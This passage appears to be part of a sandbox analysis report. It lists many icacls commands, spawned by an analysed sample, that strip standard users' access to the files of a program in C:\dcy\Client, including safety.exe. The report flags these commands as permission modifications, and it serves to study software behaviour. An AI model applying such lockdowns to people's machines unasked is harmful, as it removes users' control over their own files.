        icacls "C:\dcy\Client\PresentationFramework-SystemXmlLinq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2256
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Aero.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:972
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Aero2.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2480
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.AeroLite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Classic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1096
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3064
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Luna.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4392
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Royale.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5204
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationNative_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationUI.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2892
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ReachFramework.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:732
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.deps.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5588
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5052
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.exe" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety-ui.runtimeconfig.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety.deps.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2156
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety.exe" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3548
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\safety.runtimeconfig.json" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5348
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SharpGen.Runtime.COM.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5716
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SharpGen.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6060
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SimpleBase.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4072
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SIPSorcery.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1560
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SIPSorceryMedia.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6004
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SQLitePCLRaw.batteries_v2.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4304
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SQLitePCLRaw.core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\SQLitePCLRaw.provider.e_sqlite3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1940
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.AppContext.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Buffers.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1620
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.CodeDom.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1416
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.Concurrent.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6076
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6092
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.Immutable.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.NonGeneric.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5948
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Collections.Specialized.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4060
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.Annotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.DataAnnotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4508
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.EventBasedAsync.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3384
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1440
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ComponentModel.TypeConverter.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2596
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Configuration.ConfigurationManager.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1312
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Configuration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5632
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Console.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1724
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Data.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:540
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Data.DataSetExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2816
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Data.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4268
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Design.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4464
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Contracts.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4416
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Debug.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4228
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.DiagnosticSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3120
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.EventLog.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3296
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.EventLog.Messages.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3348
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.FileVersionInfo.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.PerformanceCounter.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4004
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Process.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1472
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.StackTrace.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5544
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.TextWriterTraceListener.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2652
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Tools.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5884
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.TraceSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4036
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Diagnostics.Tracing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1892
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.DirectoryServices.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3876
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5904
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.Design.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4720
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Drawing.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4052
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Dynamic.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Formats.Asn1.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Formats.Tar.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Globalization.Calendars.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Globalization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:6112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Globalization.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1944
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.Brotli.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1812
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4624
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.FileSystem.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4264
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.Native.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2468
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Compression.ZipFile.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.DriveInfo.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5776
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.FileSystem.Watcher.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1716
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.IsolatedStorage.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3460
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.MemoryMappedFiles.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4664
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Packaging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4692
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Pipelines.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2360
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Pipes.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3740
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.Pipes.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5248
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.IO.UnmanagedMemoryStream.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4648
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:816
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.Expressions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4876
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.Parallel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Linq.Queryable.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5956
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Management.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1292
      - C:\Windows\system32\icacls.exe
        
